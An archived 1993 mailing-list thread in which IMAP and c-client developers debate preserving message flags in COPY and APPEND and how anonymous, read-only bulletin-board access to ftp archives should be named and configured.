BatMail.robin.v2.13.CUILIB.3.45.SNAP.NOT.LINKED.hogtown.andrew.cmu.edu.sun4m.412 via MS.5.6.hogtown.andrew.cmu.edu.sun4c_411; Sun, 11 Jul 1993 21:09:21 -0400 (EDT) Message-Id: Date: Sun, 11 Jul 1993 21:09:21 -0400 (EDT) From: John Gardiner Myers To: c-client@cac.washington.edu, imap@cac.washington.edu Subject: Re: message state preservation in COPY and APPEND operations In-Reply-To: References: Beak: Is INTERNALDATE should most definitely *not* be preserved. Any implementation which does so violates RFC 1176, which explictly defines it as "the date and time the message was written to the mailbox." As for preserving flags, the implementation should either preserve all flags it can (except \RECENT, which is magic) or none. I see no reason to make \DELETED a special case. We shouldn't try to second-guess what the user really wants. A client could probably follow an APPEND with a SELECT/SEARCH/STORE FLAGS in order to transmit flags. Problems with this approach include a window where the default flags are visible, difficulty in finding the right message, and interaction with /RECENT. -- _.John G. Myers Internet: jgm+@CMU.EDU LoseNet: ...!seismo!ihnp4!wiscvm.wisc.edu!give!up From pinedev@shivax2.cac.washington.edu Sun Jul 11 19:20:45 1993 -0700 Received: from mx2.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA23668; Sun, 11 Jul 93 19:20:45 -0700 Received: by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA26217; Sun, 11 Jul 93 19:20:38 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA26211; Sun, 11 Jul 93 19:20:37 -0700 Received: from localhost by Tomobiki-Cho.CAC.Washington.EDU (NX5.67d/UW-NDC Revision: 2.27.MRC ) id AA03285; Sun, 11 Jul 93 19:20:36 -0700 Date: Sun, 11 Jul 1993 19:04:07 -0700 (PDT) From: Mark Crispin Subject: non-netnews bboard access in c-client/imapd To: c-client Interest List Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I expect to soon be implementing non-netnews bboard support in c-client (and, by extension, imapd). Essentially, what will happen is that the bezerk (/usr/spool/mail), tenex (mail.txt), etc. drivers will start responding to open bboard and find bboard requests (presently, there are stubs). There are some issues that need to be straightened out, and I would appreciate input. Tenatively, we have decided that a bboard name that begins with / is not in the netnews namespace. Essentially, a well-known bboard directory name will be prepended to the specification to form a complete filename (or perhaps some sort of chroot() would be done). We are planning on using ~ftp as the directory name, as part of an embryonic capability of being able to use IMAP as an access mechanism to our archives. ~ftp has the advantage of being a well-known place for files that are exported to the network at large, so anonymous interaction is less of an issue here. There has been some discussion about possibly also using /usr/spool/bboard (ala SUMEX) but no conclusion has been reached. Plus, people currently using that name may have some strong feelings on the interaction with anonymous (e.g. they don't want their /usr/spool/bboard to be exported to the entire Internet via IMAP). Present feeling is to shelve this until it is better thought out and there is a concensus. Another anonymous interaction issue is preserving server state ala .newsrc if anonymous is not enabled. Present feeling is to shelve this question as well. So, as currently contemplated, if a user opens the bboard *{ftp.cac.washington.edu}/mail/imap_archive it would open mail/imap_archive on the ~ftp directory as a read-only folder. I'm not sure what should be done for non-anonymous access right now; if it should be treated identically to anonymous access or if it should be an error pending further definition. Ideas? Any other ideas about what this new capability might look like would be gratefully appreciated. I'm hoping to have something running by the end of this week, and I fully expect that this issue will be re-visited again in the future, so please think in terms of a Phase I (albeit not precluding future changes) implementation. Thanks, -- Mark -- From pinedev@shivax2.cac.washington.edu Sun Jul 11 23:07:11 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA25568; Sun, 11 Jul 93 23:07:11 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA09951; Sun, 11 Jul 93 23:07:04 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from norman.nwnet.net by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA09932; Sun, 11 Jul 93 23:06:48 -0700 Received: from norman.nwnet.net by norman.nwnet.net (5.65/UW-NDC Revision: 2.27 ) id AA08771; Sun, 11 Jul 93 23:06:44 -0700 Date: Sun, 11 Jul 1993 22:59:43 -0700 (PDT) From: Laurence Lundblade Subject: Re: message state preservation in COPY and APPEND operations To: John Gardiner Myers Cc: c-client@cac.washington.edu, imap@cac.washington.edu In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Yes, and the fact that the mailbox the message is being appened to is probably not even open for the flag setting operation. For some implementations were memory is in short supply, the cost of opening another mailbox would make doing this problematic. I think one of the important questions is how many implementations would break if APPEND was changed, or replaced with a different one. LL On 11 Jul 1993, John Gardiner Myers wrote: > > A client could probably follow an APPEND with a SELECT/SEARCH/STORE > FLAGS in order to transmit flags. Problems with this approach include > a window where the default flags are visible, difficulty in finding > the right message, and interaction with /RECENT. > > -- > _.John G. Myers Internet: jgm+@CMU.EDU > LoseNet: ...!seismo!ihnp4!wiscvm.wisc.edu!give!up > > > From pinedev@shivax2.cac.washington.edu Sun Jul 11 23:33:42 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA25915; Sun, 11 Jul 93 23:33:42 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA10055; Sun, 11 Jul 93 23:33:36 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from shiva2.cac.washington.edu by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA10049; Sun, 11 Jul 93 23:33:35 -0700 Received: by shiva2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA04919; Sun, 11 Jul 93 23:33:34 -0700 Date: Sun, 11 Jul 1993 23:32:05 -0700 (PDT) From: Terry Gray Subject: Re: non-netnews bboard access in c-client/imapd To: Mark Crispin Cc: c-client Interest List In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Sun, 11 Jul 1993, Mark Crispin wrote: > So, as currently contemplated, if a user opens the bboard > *{ftp.cac.washington.edu}/mail/imap_archive > it would open mail/imap_archive on the ~ftp directory as a read-only folder. Mark, Is there a "/anonymous" missing from the above example? (If not, why not?) -teg From pinedev@shivax2.cac.washington.edu Sun Jul 11 23:42:29 1993 -0700 Received: from mx2.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA25994; Sun, 11 Jul 93 23:42:29 -0700 Received: by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA26988; Sun, 11 Jul 93 23:42:23 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA26982; Sun, 11 Jul 93 23:42:21 -0700 Received: from Ikkoku-Kan.Panda.COM by Tomobiki-Cho.CAC.Washington.EDU (NX5.67d/UW-NDC Revision: 2.27.MRC ) id AA03441; Sun, 11 Jul 93 23:42:15 -0700 Received: from localhost by Ikkoku-Kan.Panda.COM (NX5.67c/UW-NDC/Panda Revision: 2.27.MRC ) id AA20074; Sun, 11 Jul 93 23:42:08 -0700 Date: Sun, 11 Jul 1993 23:40:17 -0700 (PDT) From: Mark Crispin Subject: Re: non-netnews bboard access in c-client/imapd To: Terry Gray Cc: c-client Interest List In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Sun, 11 Jul 1993 23:32:05 -0700 (PDT), Terry Gray wrote: > On Sun, 11 Jul 1993, Mark Crispin wrote: > > So, as currently contemplated, if a user opens the bboard > > *{ftp.cac.washington.edu}/mail/imap_archive > > it would open mail/imap_archive on the ~ftp directory as a read-only > > folder. > > Is there a "/anonymous" missing from the above example? Yes and no. > (If not, why not?) Yes, because we're defining anonymous access behavior. No, because we haven't defined non-anonymous access behavior (but need to, at least a stub). From pinedev@shivax2.cac.washington.edu Mon Jul 12 07:50:26 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA03740; Mon, 12 Jul 93 07:50:26 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA13035; Mon, 12 Jul 93 07:50:17 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from PO2.ANDREW.CMU.EDU by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA13028; Mon, 12 Jul 93 07:50:15 -0700 Received: by po2.andrew.cmu.edu (5.54/3.15) id for c-client@cac.washington.edu; Mon, 12 Jul 93 10:50:11 EDT Received: via switchmail; Mon, 12 Jul 1993 10:50:11 -0400 (EDT) Received: from hogtown.andrew.cmu.edu via qmail ID ; Mon, 12 Jul 1993 10:48:57 -0400 (EDT) Received: from hogtown.andrew.cmu.edu via qmail ID ; Mon, 12 Jul 1993 10:48:55 -0400 (EDT) Received: from BatMail.robin.v2.13.CUILIB.3.45.SNAP.NOT.LINKED.hogtown.andrew.cmu.edu.sun4m.412 via MS.5.6.hogtown.andrew.cmu.edu.sun4c_411; Mon, 12 Jul 1993 10:48:53 -0400 (EDT) Message-Id: <4gELbJS00WBwA_LfA8@andrew.cmu.edu> Date: Mon, 12 Jul 1993 10:48:53 -0400 (EDT) From: John Gardiner Myers To: c-client@cac.washington.edu Subject: Re: non-netnews bboard access in c-client/imapd In-Reply-To: References: Beak: is Not For non-anonymous access, c-client should do .newsrc-style preservation of \SEEN state. You proabably don't want to use .newsrc itself in order to avoid interaction with netnews systems. Other flags (except \RECENT) are associated with the bboard and should only be manipulated if the user has write access to the bboard (and only if you want to deal with the locking issues) The "don't want /usr/spool/bboard to be exported to anonymous" issue is just an instance of the ACL problem. I hate the "/" naming convention. What's wrong with scanning the netnews driver first, followed by the bezerk and tenex drivers? -- _.John G. Myers Internet: jgm+@CMU.EDU LoseNet: ...!seismo!ihnp4!wiscvm.wisc.edu!give!up From pinedev@shivax2.cac.washington.edu Mon Jul 12 08:24:29 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA04370; Mon, 12 Jul 93 08:24:29 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA13458; Mon, 12 Jul 93 08:24:19 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from shiva1.cac.washington.edu by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA13452; Mon, 12 Jul 93 08:24:17 -0700 Received: by shiva1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA14583; Mon, 12 Jul 93 08:23:57 -0700 Date: Mon, 12 Jul 1993 08:16:36 -0700 (PDT) From: Terry Gray Subject: Re: non-netnews bboard access in c-client/imapd To: John Gardiner Myers Cc: c-client@cac.washington.edu In-Reply-To: <4gELbJS00WBwA_LfA8@andrew.cmu.edu> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Mon, 12 Jul 1993, John Gardiner Myers wrote: > I hate the "/" naming convention. What's wrong with scanning the > netnews driver first, followed by the bezerk and tenex drivers? I think what's wrong is that it defines the berzerk namespace as (a) what's left after all possible newsgroup names are subtracted, or worse (b) what's left after *current* newsgroup names are subtracted. Since these two worlds are often administered independently (different places, different people) it is much worse than in a personal/home directory situation where the user *may* be able to avoid conflicts. It's not that I love the "/" convention, I just see the search-path approach as leading to unpredictable behavior, and therefore much greater confusion. -teg From pinedev@shivax2.cac.washington.edu Mon Jul 12 08:31:38 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA04698; Mon, 12 Jul 93 08:31:38 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA13571; Mon, 12 Jul 93 08:31:32 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from shiva1.cac.washington.edu by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA13563; Mon, 12 Jul 93 08:31:30 -0700 Received: by shiva1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA15024; Mon, 12 Jul 93 08:31:29 -0700 Date: Mon, 12 Jul 1993 08:27:55 -0700 (PDT) From: Terry Gray Subject: Re: non-netnews bboard access in c-client/imapd To: John Gardiner Myers , c-client@cac.washington.edu In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Mon, 12 Jul 1993, Terry Gray wrote: > It's not that I love the "/" convention, I just see the search-path > approach as leading to unpredictable behavior, and therefore much greater > confusion. I just wanted to add that I see great value in this facility if it can be dropped into lots of existing ftp archive servers... but I think the odds are high that somewhere there already exists an archive name that matches a netnews name. (I know I have plenty of conflicts in my own archives.) -teg From pinedev@shivax2.cac.washington.edu Mon Jul 12 08:38:52 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA04908; Mon, 12 Jul 93 08:38:52 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA13637; Mon, 12 Jul 93 08:38:42 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from CAMIS.Stanford.EDU by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA13631; Mon, 12 Jul 93 08:38:41 -0700 Received: from ssrg-ipc-5.Stanford.EDU by CAMIS.Stanford.EDU (4.1/inc-1.0) id AA09573; Mon, 12 Jul 93 08:38:40 PDT Date: Mon, 12 Jul 1993 08:04:48 -0700 (PDT) From: Mike Macgirvin Reply-To: Mike_Macgirvin@CAMIS.Stanford.EDU Subject: RE: non-netnews bboard access in c-client/imapd To: Mark Crispin Cc: c-client Interest List In-Reply-To: Mark Crispin's message of Sun, 11 Jul 1993 19:04:07 -0700 (PDT): Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII mrc: > There has been some discussion about possibly also using > /usr/spool/bboard (ala SUMEX) but no conclusion has been > reached. Plus, people currently using that name may have some > strong feelings on the interaction with anonymous (e.g. they > don't want their /usr/spool/bboard to be exported to the > entire Internet via IMAP). Present feeling is to shelve this > until it is better thought out and there is a concensus. This is no longer in active use for SUMEX or derivative systems. Unless there are others still using this name, I'm inclined to let it fade into oblivion. > So, as currently contemplated, if a user opens the bboard > *{ftp.cac.washington.edu}/mail/imap_archive > it would open mail/imap_archive on the ~ftp directory as a > read-only folder. I wouldn't want to force this on anybody. If not a run-time option, the directory prefix should be at least a build-time option. The best long-term strategy (IMHO) would be to have a generalized alias for this much as the "INBOX" spec does for mail locations. I may be old-fashioned, but I consider a leading path separator to mean that you want this path taken literally. How about: *{ftp.cac.washington.edu}$ARCHIVE/imap_archive (with or without the '$' or some other character you could check quickly.). ..and as an implementaation concern, you couldn't enter an absolute pathname unless logged in. From pinedev@shivax2.cac.washington.edu Mon Jul 12 09:05:41 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA05995; Mon, 12 Jul 93 09:05:41 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA14137; Mon, 12 Jul 93 09:05:35 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from HARPER-HALL.CIT.CORNELL.EDU by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA14131; Mon, 12 Jul 93 09:05:33 -0700 Received: from [132.236.69.173] ([132.236.69.173]) by harper-hall.cit.cornell.edu with SMTP id <511409>; Mon, 12 Jul 1993 12:05:22 -0400 X-Sender: mss1@postoffice.mail.cornell.edu Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Mon, 12 Jul 1993 13:06:29 -0400 To: Mark Crispin , IMAP Interest List From: mss1@cornell.edu (Michael S Shappe) Subject: Re: message state preservation in COPY and APPEND operations Cc: c-client Interest List Message-Id: <93Jul12.120522edt.511409@harper-hall.cit.cornell.edu> At 17.20 930711 -0400, Mark Crispin wrote: >Should c-client attempt to preserve message status when copying messages to >other folders? I think that status flags should be preserved. If I move a message to another mailbox, that does not mean I'm finished with it; therefore, knowing for certain whether or not I've already responded (for example) to a message is useful information that would be best kepts. It seems to me that user flags could theoretically be preserved in other formats as well -- for example, as an X- header in bezerkly format... From pinedev@shivax2.cac.washington.edu Mon Jul 12 09:45:40 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA07126; Mon, 12 Jul 93 09:45:40 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA14752; Mon, 12 Jul 93 09:45:29 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from norman.nwnet.net by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA14746; Mon, 12 Jul 93 09:45:28 -0700 Received: from norman.nwnet.net by norman.nwnet.net (5.65/UW-NDC Revision: 2.27 ) id AA13898; Mon, 12 Jul 93 09:45:27 -0700 Date: Mon, 12 Jul 1993 09:42:05 -0700 (PDT) From: Laurence Lundblade Subject: Re: non-netnews bboard access in c-client/imapd To: Mark Crispin Cc: c-client Interest List In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII The only thought I had is that it might be desireable for some situations in the future to have the IMAP anon archive set up differently from the anon FTP archive. This is thinking from a NIC operations view. Perhaps some way to configure the path would be good (environment variable?). Also, is there a problem when the /anonymous gets appended that would make it impossible to name the file xxx/anonymous? LL From pinedev@shivax2.cac.washington.edu Mon Jul 12 12:05:09 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA12501; Mon, 12 Jul 93 12:05:09 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA16857; Mon, 12 Jul 93 12:04:55 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from PO2.ANDREW.CMU.EDU by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA16851; Mon, 12 Jul 93 12:04:53 -0700 Received: by po2.andrew.cmu.edu (5.54/3.15) id for c-client@cac.washington.edu; Mon, 12 Jul 93 15:04:48 EDT Received: via switchmail; Mon, 12 Jul 1993 15:04:46 -0400 (EDT) Received: from hogtown.andrew.cmu.edu via qmail ID ; Mon, 12 Jul 1993 15:04:32 -0400 (EDT) Received: from hogtown.andrew.cmu.edu via qmail ID ; Mon, 12 Jul 1993 15:04:26 -0400 (EDT) Received: from BatMail.robin.v2.13.CUILIB.3.45.SNAP.NOT.LINKED.hogtown.andrew.cmu.edu.sun4m.412 via MS.5.6.hogtown.andrew.cmu.edu.sun4c_411; Mon, 12 Jul 1993 15:04:26 -0400 (EDT) Message-Id: Date: Mon, 12 Jul 1993 15:04:26 -0400 (EDT) From: John Gardiner Myers To: c-client@cac.washington.edu Subject: Re: non-netnews bboard access in c-client/imapd In-Reply-To: References: Beak: is Not Conflicts with the netnews namespace can be dealt with by proper selection of the namespace. Sites have been defining their own local hierarchies for quite some time. For example, there is no netnews "archive" hierarchy in use, so it is relatively safe to name the archive for this list "archive.c-client". I maintain that it is a mistake to expose implementation details through the interface unless the user is explicitly making implementation-specific requests. In particular, it is wrong to expose the storage format through the default "rubber-room" namespace. Why should the user have to know or care whether the mailing list archives are stored in netnews, berkeley, or tenex format? -- _.John G. Myers Internet: jgm+@CMU.EDU LoseNet: ...!seismo!ihnp4!wiscvm.wisc.edu!give!up From pinedev@shivax2.cac.washington.edu Mon Jul 12 12:41:02 1993 -0700 Received: from mx2.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA14461; Mon, 12 Jul 93 12:41:02 -0700 Received: by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA00420; Mon, 12 Jul 93 12:40:55 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA00414; Mon, 12 Jul 93 12:40:53 -0700 Received: from Ikkoku-Kan.Panda.COM by Tomobiki-Cho.CAC.Washington.EDU (NX5.67d/UW-NDC Revision: 2.27.MRC ) id AA04000; Mon, 12 Jul 93 12:40:47 -0700 Received: from localhost by Ikkoku-Kan.Panda.COM (NX5.67c/UW-NDC/Panda Revision: 2.27.MRC ) id AA22093; Mon, 12 Jul 93 12:40:40 -0700 Date: Mon, 12 Jul 1993 12:39:58 -0700 (PDT) From: Mark Crispin Subject: Re: non-netnews bboard access in c-client/imapd To: Laurence Lundblade Cc: c-client Interest List In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Mon, 12 Jul 1993 09:42:05 -0700 (PDT), Laurence Lundblade wrote: > The only thought I had is that it might be desireable for some situations > in the future to have the IMAP anon archive set up differently from the > anon FTP archive. This is thinking from a NIC operations view. Perhaps > some way to configure the path would be good (environment variable?). It looks like something of this nature will need to be done, perhaps in a Phase II. > Also, is there a problem when the /anonymous gets appended that would > make it impossible to name the file xxx/anonymous? No, because the /anonymous occurs within the {} set. From pinedev@shivax2.cac.washington.edu Mon Jul 12 12:45:21 1993 -0700 Received: from mx2.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA14547; Mon, 12 Jul 93 12:45:21 -0700 Received: by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA00461; Mon, 12 Jul 93 12:45:16 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA00455; Mon, 12 Jul 93 12:45:14 -0700 Received: from Ikkoku-Kan.Panda.COM by Tomobiki-Cho.CAC.Washington.EDU (NX5.67d/UW-NDC Revision: 2.27.MRC ) id AA04006; Mon, 12 Jul 93 12:45:08 -0700 Received: from localhost by Ikkoku-Kan.Panda.COM (NX5.67c/UW-NDC/Panda Revision: 2.27.MRC ) id AA22105; Mon, 12 Jul 93 12:45:00 -0700 Date: Mon, 12 Jul 1993 12:40:52 -0700 (PDT) From: Mark Crispin Subject: Re: non-netnews bboard access in c-client/imapd To: John Gardiner Myers Cc: c-client@cac.washington.edu In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I am sympathetic to both John's and Terry's points of view, and can go either way. In defense of Terry's point of view, the context management layer in Pine would tend to hide the implementation details; or rather, the implementation details would only be in a .pinerc file. However, I believe that John has a point about hiding implementation details in general, and that the best way to deal with namespace conflicts is by proper selection of the names within the namespace. From pinedev@shivax2.cac.washington.edu Mon Jul 12 12:49:20 1993 -0700 Received: from mx2.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA14597; Mon, 12 Jul 93 12:49:20 -0700 Received: by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA00483; Mon, 12 Jul 93 12:49:14 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from PO2.ANDREW.CMU.EDU by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA00477; Mon, 12 Jul 93 12:49:12 -0700 Received: by po2.andrew.cmu.edu (5.54/3.15) id for c-client@cac.washington.edu; Mon, 12 Jul 93 15:49:09 EDT Received: via switchmail; Mon, 12 Jul 1993 15:49:09 -0400 (EDT) Received: from hogtown.andrew.cmu.edu via qmail ID ; Mon, 12 Jul 1993 15:48:45 -0400 (EDT) Received: from hogtown.andrew.cmu.edu via qmail ID ; Mon, 12 Jul 1993 15:48:38 -0400 (EDT) Received: from BatMail.robin.v2.13.CUILIB.3.45.SNAP.NOT.LINKED.hogtown.andrew.cmu.edu.sun4m.412 via MS.5.6.hogtown.andrew.cmu.edu.sun4c_411; Mon, 12 Jul 1993 15:48:32 -0400 (EDT) Message-Id: <8gEQ0Eu00WBw8_TpQ1@andrew.cmu.edu> Date: Mon, 12 Jul 1993 15:48:32 -0400 (EDT) From: John Gardiner Myers To: c-client@cac.washington.edu Subject: Re: non-netnews bboard access in c-client/imapd In-Reply-To: References: Beak: Is Mark Crispin writes: > In defense of Terry's point of view, the context management layer in Pine > would tend to hide the implementation details; or rather, the implementation > details would only be in a .pinerc file. In this case, wouldn't that be in a .imapdrc file? It should be the IMAP server that hides this particular implementation detail, not the client. -- _.John G. Myers Internet: jgm+@CMU.EDU LoseNet: ...!seismo!ihnp4!wiscvm.wisc.edu!give!up From pinedev@shivax2.cac.washington.edu Mon Jul 12 12:53:30 1993 -0700 Received: from mx2.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA14788; Mon, 12 Jul 93 12:53:30 -0700 Received: by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA00513; Mon, 12 Jul 93 12:53:23 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA00505; Mon, 12 Jul 93 12:53:21 -0700 Received: from Ikkoku-Kan.Panda.COM by Tomobiki-Cho.CAC.Washington.EDU (NX5.67d/UW-NDC Revision: 2.27.MRC ) id AA04011; Mon, 12 Jul 93 12:53:15 -0700 Received: from localhost by Ikkoku-Kan.Panda.COM (NX5.67c/UW-NDC/Panda Revision: 2.27.MRC ) id AA22164; Mon, 12 Jul 93 12:53:08 -0700 Date: Mon, 12 Jul 1993 12:51:11 -0700 (PDT) From: Mark Crispin Subject: Re: non-netnews bboard access in c-client/imapd To: John Gardiner Myers Cc: c-client Interest List In-Reply-To: <8gEQ0Eu00WBw8_TpQ1@andrew.cmu.edu> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Mon, 12 Jul 1993 15:48:32 -0400 (EDT), John Gardiner Myers wrote: > Mark Crispin writes: > > In defense of Terry's point of view, the context management layer in Pine > > would tend to hide the implementation details; or rather, the > > implementation > > details would only be in a .pinerc file. > > In this case, wouldn't that be in a .imapdrc file? It should be the > IMAP server that hides this particular implementation detail, not the > client. No, because the ambiguity would still exist at the IMAP level, and the whole purpose of the ugly syntax is to eliminate the ambiguity. Of course, you can (as you have proposed) declare the ambiguity unimportant, and thus eliminate the need for the ugly syntax. From pinedev@shivax2.cac.washington.edu Mon Jul 12 13:04:53 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA15315; Mon, 12 Jul 93 13:04:53 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA17784; Mon, 12 Jul 93 13:04:43 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from ANDREW.CMU.EDU by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA17778; Mon, 12 Jul 93 13:04:40 -0700 Received: by andrew.cmu.edu (5.54/3.15) id for c-client@cac.washington.edu; Mon, 12 Jul 93 16:04:29 EDT Received: via switchmail; Mon, 12 Jul 1993 16:04:28 -0400 (EDT) Received: from hogtown.andrew.cmu.edu via qmail ID ; Mon, 12 Jul 1993 16:04:08 -0400 (EDT) Received: from hogtown.andrew.cmu.edu via qmail ID ; Mon, 12 Jul 1993 16:04:05 -0400 (EDT) Received: from BatMail.robin.v2.13.CUILIB.3.45.SNAP.NOT.LINKED.hogtown.andrew.cmu.edu.sun4m.412 via MS.5.6.hogtown.andrew.cmu.edu.sun4c_411; Mon, 12 Jul 1993 16:04:03 -0400 (EDT) Message-Id: Date: Mon, 12 Jul 1993 16:04:03 -0400 (EDT) From: John Gardiner Myers To: imap@cac.washington.edu Subject: Re: message state preservation in COPY and APPEND operations Cc: c-client Interest List In-Reply-To: <93Jul12.120522edt.511409@harper-hall.cit.cornell.edu> References: <93Jul12.120522edt.511409@harper-hall.cit.cornell.edu> Beak: Is We could easily extend the APPEND command to accept an optional FLAGS flag_list after the mailbox and string arguments. Clients would have to do fallback on BAD, of course. _.John From pinedev@shivax2.cac.washington.edu Mon Jul 12 13:29:54 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA16015; Mon, 12 Jul 93 13:29:54 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA18210; Mon, 12 Jul 93 13:29:46 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from ANDREW.CMU.EDU by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA18204; Mon, 12 Jul 93 13:29:44 -0700 Received: by andrew.cmu.edu (5.54/3.15) id for c-client@cac.washington.edu; Mon, 12 Jul 93 16:29:28 EDT Received: via switchmail; Mon, 12 Jul 1993 16:29:26 -0400 (EDT) Received: from hogtown.andrew.cmu.edu via qmail ID ; Mon, 12 Jul 1993 16:28:04 -0400 (EDT) Received: from hogtown.andrew.cmu.edu via qmail ID ; Mon, 12 Jul 1993 